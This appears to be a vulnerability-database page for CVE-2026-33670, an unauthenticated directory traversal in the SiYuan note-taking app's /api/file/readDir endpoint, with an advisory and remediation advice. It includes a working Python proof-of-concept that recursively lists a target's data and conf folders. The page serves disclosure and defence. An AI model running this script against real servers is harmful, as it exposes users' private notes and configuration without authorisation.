Python
CVE-2026-33670
CRITICAL
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
2DescriptionGitHub Advisory
Details
The /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.
PoC
#!/usr/bin/env python3
"""POC: SiYuan /api/file/readDir 未鉴权目录遍历"""
import requests, json, sys
def poc(target):
base = target.rstrip("/")
url = f"{base}/api/file/readDir"
def read_dir(path, depth=0, max_depth=4):
try:
r = requests.post(url, json={"path":path},
headers={"Content-Type":"application/json"}, timeout=10)
data = r.json()
except Exception as e:
return
if data.get("code") != 0:
return
entries = data.get("data") or []
for entry in entries:
name = entry.get("name","")
if name.startswith("."):
continue
icon = "📁" if entry.get("isDir") else "📄"
indent = " " * depth
print(f" {indent}{icon} {name}")
if entry.get("isDir") and depth < max_depth:
read_dir(f"{path}/{name}", depth+1, max_depth)
# 遍历根目录
print("[+] 漏洞存在!开始遍历\n")
print(" 📂 data/")
read_dir("data", max_depth=2)
print("\n 📂 conf/")
read_dir("conf", max_depth=2)
# 保存
try:
r = requests.post(url, json={"path":"data"},
headers={"Content-Type":"application/json"}, timeout=10)
with open("readdir.json","w",encoding="utf-8") as f:
json.dump(r.json(), f, ensure_ascii=False, indent=2)
print(f"\n[+] 根目录数据已保存: readdir.json")
except: pass
if __name__ == "__main__":
poc(sys.argv[1] if len(sys.argv)>1 else "http://172.18.40.184")Impact
Directory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.
资源文件夹
<img width="943" height="794" alt="image" src="https://github.com/user-attachments/assets/c97fcc42-183e-4c83-8a27-cf99bf805038" />
插件文件夹
<img width="826" height="921" alt="image" src="https://github.com/user-attachments/assets/925d4512-e4c0-4b3b-bf96-5639ec572705" />
conf文件夹
<img width="730" height="834" alt="image" src="https://github.com/user-attachments/assets/2a0c23b9-2d87-4421-977d-687f47726741" />
AnalysisAI
SiYuan, a note-taking application written in Go, contains an unauthenticated directory traversal vulnerability in its /api/file/readDir endpoint. The vulnerability allows remote attackers without authentication to enumerate the entire directory structure of notebooks, configuration folders, plugins, and resource directories, which can be chained with file reading vulnerabilities for arbitrary document access. A working Python proof-of-concept exploit is publicly available, demonstrating recursive directory enumeration of data/ and conf/ directories.
Technical ContextAI
This vulnerability affects the SiYuan kernel (github.com/siyuan-note/siyuan/kernel), a Go-based backend for a note-taking and personal knowledge management system. The flaw is classified as CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), commonly known as path traversal. The /api/file/readDir API endpoint accepts JSON POST requests with a 'path' parameter and returns directory listings without validating authentication tokens or restricting traversal scope. The endpoint processes requests with arbitrary paths (e.g., 'data', 'conf', 'data/plugins') and recursively exposes file and directory names, isDir flags, and complete structural metadata. This represents a failure to implement proper authorization checks on sensitive file system operations exposed through a web API.
RemediationAI
Users should immediately consult the official SiYuan security advisory at https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xmw9-6r43-x9ww for patched versions and upgrade to the latest secure release as soon as available. Until patching is complete, implement network-level access controls to restrict SiYuan API endpoints to trusted IP ranges only, deploy the application behind an authenticating reverse proxy with mandatory authentication for all /api/* paths, or disable remote access entirely if only local usage is required. Organizations should audit logs for suspicious POST requests to /api/file/readDir with various path parameters (especially 'data', 'conf', 'plugins') originating from unexpected sources. Consider implementing application-level authentication tokens or API keys if the software supports them, and review all other API endpoints for similar missing authentication issues.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| openSUSE Leap 15.5 | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today